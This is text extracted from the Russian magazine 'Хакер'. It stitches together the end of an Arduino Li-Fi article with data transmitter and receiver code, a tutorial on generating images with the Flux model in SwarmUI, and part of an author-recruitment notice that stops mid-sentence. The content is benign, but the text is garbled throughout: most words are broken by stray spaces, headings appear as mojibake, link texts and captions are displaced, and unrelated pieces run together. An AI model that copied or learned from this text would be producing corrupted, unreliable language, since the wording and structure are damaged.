    digitalWrite(4, 1);
       if (digitalRead(3) == 1) {

      digitalWrite(4, 0);
         if (k == 0) {

       Serial.println("Вывод_падения_напряжения_В");
                for (int i = 0; i <= 255; i++) {

         Serial.println(b[i][0]);
       }

                for (int i = 0; i <= 244; i++) {
         Serial.println(0);
       }

         k = 1;
        digitalWrite(4, 1);

           } else if (k == 1) {
       Serial.println("Вывод_силы_тока_мкА");

                for (int i = 0; i <= 255; i++) {
         Serial.println(b[i][1]);
       }

                for (int i = 0; i <= 244; i++) {
         Serial.println(0);
       }

         k = 2;
        digitalWrite(4, 1);

           } else if (k == 2) {
       Serial.println("Интенсивность_света");

                for (int i = 0; i <= 255; i++) {
         Serial.println(b[i][2]);
       }

                for (int i = 0; i <= 244; i++) {
         Serial.println(0);
       }

         k = 3;
        digitalWrite(4, 1);
        digitalWrite(5, 1);

       delay(15);
           } else if (k == 3) {
         x = "";

        digitalWrite(53, 1);
       Serial.print("мкА_на_");

         x += "мкА_на_";
        Serial.print((b[255][0]), 2);

         x += (b[255][0]);
       Serial.println("/255_В");

         x += "/255_В: ";
                for (int i = 0; i <= 255; i++) {

         Serial.println(b[i][1]);
           x += (b[i][1]);
           x += " ";

       }
                for (int i = 0; i <= 244; i++) {

         Serial.println(0);
           x += 0;
           x += " ";

       }
         y = x.length();

                for (int i = 0; i < y; i++) {
         otpravka(x[i]);
       }

         k = 4;
        digitalWrite(4, 1);

           } else if (k == 4) {
         x = "";

                for (int i = 0; i <= 255; i++) {
             if (b[i][1] > b[20][1]) {
             l = i;

           break;
         }
       }
       Serial.print("относительная_интенсивность_на_");

         x += "относительная_интенсивность_на_";
          Serial.print(((b[255][1]) - b[10][1]), 2);

           x += ((b[255][1]) - b[10][1]);
       Serial.print("/");

         x += "/";
         Serial.print((255 - l));

           x += (255 - l);
       Serial.println("_мкА");

         x += "_мкА: ";
                for (int i = l; i <= 255; i++) {

         Serial.println(b[i][2]);
           x += (b[i][2]);
           x += " ";

       }
                    for (int i = 0; i <= (500 - 255 + l); i++) {

         Serial.println(0);
           x += 0;
           x += " ";

       }
         y = x.length();

                for (int i = 0; i < y; i++) {
         otpravka(x[i]);
       }

         k = 3;
        digitalWrite(4, 1);

     }
   }
 }
}

Ты можешь заметить, что сиг нал, который мы переда дим с пер вого модуля,
будет выг лядеть не слиш ком акку рат ным и пря моуголь ным, так как мы
переда ем его через све тоди од, а сам све тоди од име ет нелиней ную
вольт-амперную харак терис тику (можешь пос мотреть в прош лой статье,
как это выг лядит), да и фоторе зис тор при емни ка может быть некачес твен- 
ным.

При мер реаль ных дан ных пос ле переда чи

Пе рехо дим к прог рамми рова нию при емни ка. Он дол жен при нять дан ные
с источни ка, рас шифро вать их и пре обра зовать в гра фики.

В начале обоз начим перемен ные для записи дан ных по одно му бай ту,
а так же для отсле жива ния стар тового и конеч ного битов и для опе раций
с шумами. Пос ле ини циали зации пор та и пинов запус каем цикл для уста нов ки
сред него зна чения шумов. Помех при нашем спо собе переда чи будет поряд- 
ком!

Ес ли мы оста вим ана лого вый сиг нал, получа емый с фоторе зис тора таким
же несим метрич ным, каким мы его получи ли, это при ведет к сдви гу по вре- 
мени счи тыва ния дан ных. Из-за это го наша цен ная информа ция прев ратит ся
в мусор. Поэто му, что бы сде лать сиг нал более сим метрич ным, необ ходимо
написать фун кцию, которая будет при водить его в пря моуголь ный вид.

Пря моуголь ный сиг нал

Код для при емни ка:

 char c;
  boolean a, b;

    float f, g, j, m;

  void setup() {
   Serial.begin(9600);
    pinMode(A0, INPUT);
     f = analogRead(A0);
     g = f;
            for (int i = 0; i <= 1000; i++) {

         m = analogRead(A0);
          f = max(f, m);
          g = min(g, m);

   }
         j = (f + g) / 2;
}

  void loop() {
     a = bit_();
           if (a == 0 && b == 1) {
       delay(15);

                for (int i = 0; i < 8; i++) {
             bitWrite(c, i, bit_());

           delay(15);
       }

           if (c == ' ') {
           Serial.print("\n");

         } else {
           Serial.print(c);
       }
   }
     b = a;
}

  boolean bit_() {
            return analogRead(A0) > (j + 100) ? true : false;
}

Ос новная прог рамма счи тыва ет циф ровой сиг нал и срав нива ет его с пре- 
дыду щим зна чени ем, и если сиг налы соот ветс тву ют, то запус кает ся запись
дан ных. Пос ле записи бита он отправ ляет ся в монитор пор та. И если
попадет ся бит про бела, то он прев ратит ся в сим вол перено са стро ки
для COM-пор та. Бла года ря это му прог рамма может авто мати чес ки стро ить
гра фики в плот тере вто рого модуля.

В ито ге мы дей стви тель но получим гра фики ВАХ и интенсив ности све-
чения све тоди ода в плот тере пор та вто рой пла ты. Li-Fi пашет!

По лучен ные гра фики

ÂÛÂÎÄÛ

Се год ня мы соб рали целую инно ваци онную сис тему переда чи дан ных из двух
полуп ровод ников — све тоди ода и фоторе зис тора. Конеч но, Li-Fi как спо соб
переда чи дан ных, ско рость которо го в сот ню раз опе режа ет Wi-Fi, зву чит
заман чиво, но мас совой реали зации на горизон те пока не вид но. При менять
Li-Fi мож но было бы для управле ния робота ми на скла де или, нап ример,
в самоле тах — ведь он не соз дает ради опо мех. Ну или, в кон це кон цов, мож- 
но обес печить самым быс трым интерне том свой туалет! Теперь у тебя есть
все необ ходимые зна ния, что бы реали зовать это.

https://xakep.ru/2024/07/19/current-voltage/
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Ком пания , осно ван ная
выход цами из Stability AI (раз работ чик
Stable Diffusion), без пред варитель ных
анон сов выпус тила новую модель генера- 
тив ного искусс твен ного интеллек та Flux.
Релиз взор вал сооб щес тво генера тив ного
ИИ: все раз говоры теперь толь ко о новой
модели. И она того сто ит! Давай раз берем- 
ся, как ее исполь зовать и на что она спо- 
соб на.

Black Forest Labs

×ÒÎ ÇÀ FLUX?

Flux — новей шая базовая модель (а точ нее — семей ство моделей) генера- 
тив ного искусс твен ного интеллек та для соз дания изоб ражений по тек сто вым
опи сани ям. Flux, соз данный покинув шими ком панию Stability AI раз работ- 
чиками, уже пред лага ет все то, что дол жна была обес печить архи тек тура
Stable Diffusion 3, которая до сих пор в под вешен ном сос тоянии.

Мо дель Flux отли чает ся новым тек сто вым декоде ром с 12 мил лиар дами
парамет ров, что поз воля ет ей нам ного уве рен нее рас позна вать зап росы
и точ нее сле довать им. При обу чении модели не было той жес ткой цен зуры,
которая при вела к прак тичес ки пол ной нерабо тос пособ ности Stable Diffusion
3 Medium; в резуль тате позы людей у Flux выг лядят более естес твен ными.
С количес твом паль цев на руках дело ста ло луч ше, но проб лема побеж дена
не до кон ца; добав лена работа с тек стом на изоб ражени ях — то, что заяв- 
лялось как прин ципи аль ное отли чие Stable Diffusion 3.

Мо дель сущес тву ет в трех вари антах:
FLUX.1 [pro] — пол ная вер сия модели, дос тупная толь ко через API. Да,
раз работ чики тоже хотят кушать, а их инвесто ры — получить при быль;

•

FLUX.1 [dev] — самая круп ная модель с 12 мил лиар дами парамет ров, дос- 
тупная для локаль ной уста нов ки. Модель откры тая, весовые коэф фици- 
енты дос тупны для ска чива ния и даль нейше го обу чения, но с ого вор ками:
лицен зия на эту модель ; воз можность ком мерчес кого

исполь зования ого вари вает ся отдель но;

•

íå êîì ìåð÷åñ êàÿ

FLUX.1 [schnell] — дис тилли рован ная тур бо-вер сия модели, поз воля ющая
соз давать изоб ражения все го за четыре шага. Эта модель рас простра- 
няет ся по лицен зии Apache 2.0, но обу чить ее про изводные, ско рее все го,
не получит ся в силу тех ничес ких огра ниче ний.

•

Нас инте ресу ют две пос ледние модели — dev и schnell.

А кто разработчики?
О том, что  сос тоит из выход цев из Stability AI, не написал
толь ко ленивый. Эта коман да раз работ чиков сто яла у исто ков тех нологии
латен тной диф фузии, впос ледс твии покинув Stability AI и осно вав собс твен- 
ную ком панию. На Reddit есть нем ного .

Black Forest Labs

до пол нитель ной информа ции

ÂÎÇÌÎÆÍÎÑÒÈ FLUX

Flux — гигант ская по сов ремен ным мер кам модель, спо соб ная вос при нимать
огромное количес тво кон цепций и рисовать в широком диапа зоне сти лей.
На сло вах это мало отли чает ся от воз можнос тей моделей SDXL, осо бен но
с уче том мно гочис ленных ремик сов и лор. На деле же резуль таты работы Flux
поража ют. И ведь это толь ко пер вая вер сия базовой модели на осно ве новой
архи тек туры. Улуч шения навер няка на оче реди.

Мо дель спо соб на работать с тек стом, то есть добав лять на кар тинки над- 
писи в точ ности, как про сили. Кста ти, обра ти вни мание на очки — сла бое
мес то SDXL.

Flux неп лохо понима ет необыч ные кон цепции.

Спо соб на вос про изво дить улич ные сцен ки (обра ти вни мание на руки;
это исходная генера ция без исполь зования вос ста нав лива ющих моделей).

Вы дает кад ры из псев доис торичес ких гол ливуд ских филь мов (на руке с пер- 
вой попыт ки — пять паль цев; незамут ненное счастье).

И даже рису ет иллюс тра ции для дет ских книг.

Для все го это го раз нооб разия не пот ребова лось ни «бро сания кос тей»
в виде мно гочис ленных попыток генера ции, ни поис ка и ска чива ния соот ветс- 
тву ющих лор.

Хо чешь поп робовать новую модель на сво ем компь юте ре?
Ни AUTOMATIC1111, ни WebUI Forge для это го не подой дут. На момент написа- 
ния статьи единс твен ный софт, под держи вающий Flux, — ComfyUI или он же
с обо лоч кой SwarmUI.

Даль ше мы рас смот рим прод винутый инс тру мен тарий, поз воля ющий
не толь ко получить дос туп к боль шому чис лу тон ких нас тро ек ней росети, но и
авто мати зиро вать генера цию высоко качес твен ных изоб ражений.

Читай также
Ра нее мы уже изу чили базовые воз можнос ти Stable Diffusion и 

, рас смот рели нес коль ко базовых моделей и 
 в при ложе нии Fooocus. Это при- 

ложе ние прек расно под ходит для начала работы, поз воляя сра зу же получить
кра сивые изоб ражения, но доволь но ско ро поль зователь упи рает ся
в потолок. В Fooocus нет воз можнос ти сра зу генери ровать кар тинки
в высоком раз решении или авто мати чес ки исправ лять проб лемы с руками
и лицами; для это го сущес тву ют более прод винутые, но и нам ного более
слож ные в исполь зовании вари анты, один из которых мы будем изу чать. А в

 мы разоб рались еще с одним прод винутым интерфей сом —
WebUI reForge.

ус танов ку ней- 
росети на компь ютер на учи лись
работать с лорами, сти лями и рефай нерами

прош лой статье

COMFY È SWARMUI

ComfyUI — одновре мен но и бэкенд, то есть дви жок, и фрон тенд, то есть
интерфейс, для генера ции изоб ражений по тек сто вым опи сани ям. Дви жок
Comfy — один из луч ших, а управле ние памятью, пожалуй, луч шее из име- 
юще гося на сегод няшний день. В то же вре мя интерфейс ComfyUI сво еоб- 
разен, сло жен в осво ении и нра вит ся не всем. Ниже — при мер прос тей шей
нас трой ки генера ции в Comfy с исполь зовани ем модели SDXL и рефай нера.

Ус ложне ние усло вий генера ции усложня ет и диаг рамму. Впро чем, у такого
под хода есть и положи тель ные сто роны: пол ный дос туп ко всем внут реннос- 
тям движ ка и воз можность как сох ранять, так и ска чивать готовые диаг- 
раммы-ворк флоу, поз воля ющие бук валь но в нес коль ко кли ков пов торить то,
на соз дание чего у авто ра диаг раммы ушли мно гие часы работы.

Ес ли же тебе хочет ся чего-то более при выч ного, то на помощь при дет
SwarmUI — обо лоч ка для Comfy, интерфейс которой очень похож на A1111.
SwarmUI — про дукт оче ред ного выход ца из Stability AI (инте рес но, там вооб- 
ще кто-нибудь остался?). Его мес то сре ди про чих интерфей сов мож но опи- 
сать так:

 — прос той про дукт для начина ющих;• Fooocus

 — «клас сичес кий» WebUI, апс трим для раз нооб разных

фор ков;

• AUTOMATIC1111

 — форк AUTOMATIC1111 с более высокой ско ростью работы
и опти мизи рован ным механиз мом работы с виде опа мятью. На дан ный
момент ведет ся активная раз работ ка, репози торий в ста тусе экспе римен- 
таль ного; в про дук те будут отра баты вать ся новые тех нологии —
от интерфей са Gradio 4 до нового движ ка;

• WebUI Forge

 — активный форк WebUI Forge, в котором при сутс тву ют

как опти миза ции Forge, так и новин ки из AUTOMATIC1111 и ComfyUI;

• WebUI reForge

 — мощ ный и отлично опти мизи рован ный про дукт с самой
широкой сов мести мостью с раз личны ми тех нологи ями диф фузии.
Интерфейс в сти ле блок-схем — не для всех;

• ComfyUI

 — обо лоч ка для Comfy, напоми нающая WebUI. «Вы находи тесь
здесь!»

• SwarmUI

ÓÑÒÀÍÎÂÊÀ È ÍÀ×ÀËÎ ÐÀÁÎÒÛ

SwarmUI сей час име ет ста тус бета-вер сии и активно раз рабаты вает ся.
Готово го фай ла для ска чива ния пока нет; для уста нов ки SwarmUI в Windows
тебе при дет ся самос тоятель но уста новить:

менед жер пакетов  из ;• WinGet Microsoft Store
;• Git для Windows

DotNet 8 SDK с .• сай та Microsoft

Пос ле это го  .bat-файл уста нов щика и запус ти его. Дис три бутив уста- 
новит ся в пап ку SwarmUI. В про цес се уста нов ки ска чает ся и рас паку ется
архив с пор татив ной вер сией Comfy, который исполь зует ся в качес тве движ- 
ка.

ска чай

По ка не спе ши ничего запус кать; для работы с Flux тебе при дет ся ска чать
еще нес коль ко фай лов. Про цесс опи сан в  в раз деле Black
Forest Labs’ Flux.1 Models.

до кумен тации

Для начала опре делись, какую вер сию Flux ты хочешь уста новить. Дос- 
тупны сле дующие вари анты:

;• пол ная 16-бит ная вер сия FLUX.1 (dev)
;• 16-бит ная тур бо-вер сия FLUX.1 (schnell)

;• 8-бит ная вер сия FLUX.1(dev)
.• 8-бит ная вер сия FLUX.1 (schnell)

16-бит ные вер сии хорошо подой дут к виде окар там с минималь ным объ емом
виде опа мяти 16 Гбайт, при этом пол ная вер сия тре бует двад цати или более
шагов генера ции, а «тур бо» — ров но четыре шага. Эти модели нуж но сло жить
в пап ку .(Swarm)/Models/unet

8-бит ные вер сии под ходят для виде окарт с 12 Гбайт виде опа мяти
и менее. Качес тво по срав нению с 16-бит ными моделя ми стра дает нез- 
начитель но. Эти модели нуж но класть в пап ку 

.
(Swarm)/Models/Stable-

Diffusion
Пос ле это го нуж но ска чать VAE (файл ) из 

 и положить его в пап ку .

ae.safetensors ре пози тория

модели (Swarm)/Models/VAE
Все, на этом под готов ка закон чена — мож но запус кать SwarmUI коман дой

. И сно ва при дет ся нем ного подож дать, пока скрипт

доус тановит зависи мос ти. Ког да про цесс завер шится, откро ется окно
с интерфей сом (при дет ся еще подож дать окон чания заг рузки движ ка).

launch-windows.bat

Для работы с Flux выбери модель (в пра вом ниж нем углу), уста нови параметр
 в еди ницу, а параметр Steps (количес тво шагов) — 20 для обыч ных

моделей или 4 для вер сии «тур бо».

CFG

INFO

Па раметр CFG (Classier Free Guidance) исполь- 
зует ся для управле ния балан сом меж ду точ- 
ностью сле дова ния тек сто вому зап росу и кре- 
атив ностью конеч ного изоб ражения. Это дос тига- 
ется путем сов мес тно го обу чения условной
(cond) и безус ловной (uncond) диф фузи онных
моделей. В свое вре мя сама воз можность
исполь зовать негатив ные клю чевые сло ва появи- 
лась в виде хака — зап роса . По изна- 
чаль ной задум ке — латен тный шум или «латен тное
нич то». Чем выше параметр CFG, тем боль ше
рас сто яние меж ду резуль татами моделей cond
и uncond и тем точ нее модель сле дует тек сто вому
зап росу. Избы точ но высокие зна чения CFG при- 
водят к «выгора нию» кар тинки из-за рос та кон- 
трас та и насыщен ности, а чрез мерно низ кие —
к ее блек лости и выц ветанию. Если CFG равен
еди нице, модель uncond не учас тву ет в вычис- 
лени ях, что исклю чает воз можность исполь зовать
негатив ные клю чевые сло ва, но и вдвое сок раща- 
ет вре мя генера ции.

uncond

Те перь мож но вво дить зап рос в поле Prompt (поле Negative Prompt оставь
пус тым, модель пока не под держи вает негатив ные клю чевые сло ва) и жать
боль шую кноп ку Generate. Модель Flux — очень тяжелая; для начала генера- 
ции ее тре бует ся заг рузить в память виде окар ты. Это может занять око ло
минуты, одна ко все пос леду ющие генера ции будут стар товать момен таль но.
Собс твен но, на этом всё, мож но нас лаждать ся сге нери рован ными изоб- 
ражени ями.

Шпаргалка: ограничения модели FLUX.1 (dev)

;• CFG=1

не под держи вают ся негатив ные клю чевые сло ва;•
не под держи вают ся весовые коэф фици енты токенов;•
по ка не под держи вают ся лоры, тек сто вые инверсии, IP-Adapter,
ControlNet;

•

чис ло шагов боль ше или рав но 20 (обыч ная модель) или рав но 4 (тур бо).•

Продолжение статьи →
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FLUX.1 И SWARMUI
ГЕНЕРИРУЕМ КАРТИНКИ НОВОЙ

ОТКРЫТОЙ МОДЕЛЬЮ

GEEK  НАЧАЛО СТАТЬИ←

ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÍÀÑÒÐÎÉÊÈ

Ког да тебе надо ест генери ровать квад раты 1024 на 1024, изме нить соот- 
ношение сто рон мож но в нас трой ке Resolution.

Об рати вни мание: если для SDXL рекомен дуют раз решение в 1 мегапик сель,
то для модели Flux раз меры кар тинки могут варь иро вать ся в широких пре- 
делах от 0,5 до 2 мегапик селей. Модель прек расно работа ет, если ты уста- 
новишь «широко фор матное» раз решение 1920 ✕ 1080.

А если нуж но еще боль ше? Тоже не проб лема: в SwarmUI есть ана лог
Hires.x. Он находит ся в раз деле Rene/Upscale, где ты можешь выб рать нас- 
трой ки для повыше ния раз решения.

Сра зу отка жись от исполь зования встро енных моделей из спис ка Rener
Upscale Method. В статье «

» я под робно опи сал хорошие модели для повыше ния раз решения.
В качес тве уни вер саль ной модели пореко мен дую ; ска чай ее
и положи файл в пап ку . Переза пус кать
интерфейс нет необ ходимос ти, для появ ления модели в спис ке дос таточ но
клик нуть на вклад ке Models в ниж ней час ти экра на и нажать икон ку «Обно- 
вить».

ReForge. Улуч шаем кар тинки, генери руемые Stable
Diffusion

4xNomos8kDAT
(Swarm)\Models\upscale_models

Нас трой ки Rene/Upscale мож но исполь зовать те, что на скрин шоте выше:
0,2 для Rener Control Percentage, коэф фици ент апскей ла от 1,4 до 2 (в поле
Rener Upscale). Осталь ные нас трой ки пока не тро гай. В будущем, если ты
решишь поп робовать исполь зовать модель SDXL для повыше ния раз решения
кар тинок, сге нери рован ных Flux, ты можешь выб рать дру гую базовую
модель — но не забудь в таком слу чае вклю чить Rener CFG Scale, уста новив
его в зна чение 7 (стан дарт для моделей SDXL). Наконец, не забудь вклю чить
основной перек лючатель спра ва от над писи Rene/Upscale.

В ито ге дол жно получить ся что-то такое

Впро чем, дос тоинс тва SwarmUI не огра ничи вают ся одним лишь повышен ным
раз решени ем. В интерфей се есть поч ти всё, что нуж но для пов седнев ной
работы, в том чис ле мно гие вещи, которые в WebUI/Forge реали зова ны через
рас ширения. Под робно об этом мож но почитать в англо языч ной 

; мы же рас смот рим самое инте рес ное.
статье

на Civitai

ÐÓÊÀ-ËÈÖÎ

Тра дици онная проб лема генера тив ных ней росетей (и Flux здесь, увы,
не исклю чение) — сла бая про рисов ка мел ких объ ектов, таких как кис ти рук
и лица, если они не занима ют боль шую часть изоб ражения. В Fooocus мы уже
исправ ляли лица и руки с помощью инс тру мен та inpaint; в WebUI/Forge этот
про цесс мож но авто мати зиро вать рас ширени ем ADetailer или uddetailer.

В SwarmUI проб лема реша ется лег ко и изящ но через 
, исполь зующий . Пря мо в тек сто вый зап рос добав ляют ся токены

сле дующе го вида:

ме ханизм сег мента- 
ции CLIPSeg

<segment:hand:0.3,0.
5> текстовое описание того, как должна выглядеть рука 
<segment:face:0.3,0.
5> текстовое описание того, как должно выглядеть лицо 

Здесь hand и face — объ екты, которые мы хотим выделить и отри совать
в высоком раз решении; пер вый чис ловой параметр (0.3) — допус тимая сте- 
пень мутаций (поп робуй зна чения меж ду 0.2 и 0.6, чем боль ше — тем силь- 
нее будут изме нения; по умол чанию 0.6, но это мно гова то), а пос ледний
(0.5) — сте пень дос товер ности рас позна вания объ екта (задашь 0 — и будет
выб рано все изоб ражение целиком, 1 — не будет выб рано ничего; 0.5 —
хорошее началь ное зна чение).

Ес ли бы не завышен ное зна чение допус тимых мутаций 0.6, мож но было бы
и вов се оста новить ся на упро щен ном зап росе вида .

Для удобс тва сег менты луч ше рас полагать в отдель ных стро ках; отбить стро- 
ку в зап росе мож но нажати ем Shift-Enter.

<segment:hand>

Пос ле токена  идет тек сто вый зап рос, в котором мож но

опи сать жела емый объ ект. Если оста вить зап рос пус тым, прог рамма отри сует
объ ект, осно выва ясь на исходном изоб ражении.

<segmentation:>

INFO

При желании для рас позна вания и сег мента ции
мож но исполь зовать и модели ,
а для отри сов ки объ ектов — под клю чить отдель- 
ную модель.

ар хитек туры Yolo

Пе ред исполь зовани ем сег мента ции обя затель но вклю чи две нас трой ки
в раз деле Regional Prompting: Segment Mask Blur (по умол чанию 10)
и Segment Mask Grow (как пра вило, ука зыва ют зна чение от 4 до 16 пик селей).
Segment Mask Grow ука зыва ет количес тво пик селей, на которые будет «раз- 
дви нута» мас ка рас познан ного объ екта, а вклю чение Segment Mask Blur
поможет избе жать рез ких кон туров на гра ницах объ ектов.

При мер исполь зования:

a photo of a man petting a cat in a park in autumn, amber glow, 
falling leaves 
<segment:cat> hd photo of a cat, beautiful, film grain, furry 
masterpiece 
<segment:man's face> a close up photo of a man's face, beautiful, 
film grain, masterpiece 

В про цес се будут рас позна ны и деталь но отри сова ны кот и муж ское лицо.

Ре зуль тат: пушис тый кот и пред ста витель ный муж чина.

А если зап рос (с тем же сидом) сос тавить таким же и заменить на фото кота
лисен ком — но не в основном зап росе, а в сег менте?

a photo of a man petting a cat in a park in autumn, amber glow, 
falling leaves 
<segment:cat,0.8,0.5> hd photo of a fox, beautiful, film grain, 
furry masterpiece 
<segment:man's face> a close up photo of a man's face, beautiful, 
film grain, masterpiece 
<segment:hand> a close up photo of a man's hand petting a fox 

По лучи лось! Муж чина тот же, а вмес то кота — впол не узна ваемый лис.
По играв нас трой ками Segment Mask Grow и Segment Mask Blur, мож но

добить ся прак тичес ки иде аль ного резуль тата (в при мере выше я это го
не делал, так что арте фак ты весь ма замет ны), при этом основное изоб- 
ражение пов торно генери ровать ся не будет — прог рамма возь мет изна чаль- 
ную кар тинку из кеша.

За чем это может понадо бить ся? Нап ример, для замены объ екта, если
при генера ции исполь зовать Init Image; впро чем, это тема для отдель ной
беседы.

ÊÎÍÔÈÃÈ È ÏÐÅÑÅÒÛ

Серь езная проб лема WebUI/Forge — мож но сох ранить толь ко один набор
нас тро ек. Воз можность сох ранять раз ные кон фиги в WebUI реали зует ся сто- 
рон ними рас ширени ями; ни одно из них не совер шенно, и для сох ранения
ряда нас тро ек тре бует ся вруч ную редак тировать кон фиг-файл уже самого
рас ширения. В SwarmUI сох ранить нас трой ки про ще прос того: дос таточ но
открыть вклад ку Presets в ниж ней час ти экра на и нажать Create New Preset,
пос ле чего в появив шемся окне выб рать те нас трой ки, которые будут вос ста-
нов лены при выборе дан ного пре сета.

Ин терес ная осо бен ность: мож но выб рать (и вос ста новить) нес коль ко пре- 
сетов одновре мен но; полез но, нап ример, если в одном пре сете хра нит ся тип
модели и нас трой ки для нее, в дру гом — нас трой ки апскей ла и так далее.

По жалуй, на этом сегод няшний рас сказ о SwarmUI мож но завер шить, но в
интерфей се есть еще мно го инте рес ного. Если тебе пон равит ся SwarmUI —
поль зуйся! Для отно ситель но нес ложных вещей он впол не спо собен
заменить WebUI, а для слож ных ник то не меша ет перек лючить интерфейс
в режим диаг раммы Comfy Workow с его пол ным кон тро лем над про цес сом
или запус тить WebUI.

ÆÄÅÌ STABLE DIFFUSION 3 ÈËÈ ÍÅ ÆÄÅÌ?

Ждем! Раз нооб разие — это хорошо. Нес мотря на огромный объ ем, у модели
Flux есть свои огра ниче ния. Ее тяжело, дорого (в силу повышен ных тре бова- 
ний к виде опа мяти) и невыгод но (из-за лицен зии) обу чать, поэто му про- 
изводных моделей на осно ве Flux, ско рее все го, будет огра ничен ное
количес тво — если они вооб ще появят ся, в чем раз работ чики Stability AI 

.
пуб- 

лично усом нились
У раз работ чиков Flux свое понима ние того, что явля ется «безопас ным»:

по их мне нию, жен ская грудь боль шой опас ности для жиз ни на пла нете
не пред став ляет, а вот дип фей ки — вещь неп рият ная; соот ветс твен но, из тек- 
сто вого декоде ра были уда лены име на актрис и мно гих медий ных пер сон.
Кро ме того, есть и нес коль ко чис то тех ничес ких огра ниче ний (воз можно, вре- 
мен ных):  дол жен быть равен еди нице, а негатив ные клю чевые сло ва

в модели FLUX.1 [dev] не под держи вают ся. Наконец, у Flux, по край ней мере
в ее пер вой вер сии, не слиш ком хорошо обсто ят дела с понима нием изоб- 
разитель ных сти лей, художес твен ных нап равле ний и сти лиза ции под твор чес- 
тво кон крет ных худож ников, вклю чая клас сиков.

CFG

Для срав нения — три кар тинки, один и тот же зап рос (стим панк, сепия,
робопа ук, ста рое фото).

Flux

Даль ше — работа базовой модели Stable Cascade, незас лужен но забытой
побоч ной вет ки Stable Diffusion.

Stable Cascade

На конец, такой резуль тат выдала одна из сов ремен ных моделей на осно ве
SDXL — резуль тат года работы сооб щес тва, «допилив шего» базовую модель
SDXL до впол не при лич ного сос тояния.

SDXL

ÂÛÂÎÄÛ

Но вая модель хороша! Вне зап но появив шись из ниот куда, Flux попол нила
ряды моделей нового поколе ния, прев зой дя AuraFlow, Hunyuan-DiT, Kolors
и PixArt. Основной воп рос, который вол нует сооб щес тво поль зовате лей, —
воз можно ли обу чение новой модели, и если воз можно, то какие ресур сы
для это го пот ребу ются?

Ес ли обу чение ока жет ся воз можным, то у Flux появит ся шанс занять нишу,
которая проч но окку пиро вана моделя ми на базе SDXL. Если же обу чение ока- 
жет ся чрез мерно тру доем ким или дорогос тоящим, то рано или поз дно (ско- 
рее — рано, учи тывая ско рость раз вития тех нологий ИИ) впе ред выр вется
одна из аль тер натив ных моделей.

https://xakep.ru/2024/07/16/stable-diffusion-reforge/
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https://www.reddit.com/r/StableDiffusion/comments/1ej4spi/sai_knows_sd31_medium_can_still_trounce_flux_if/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
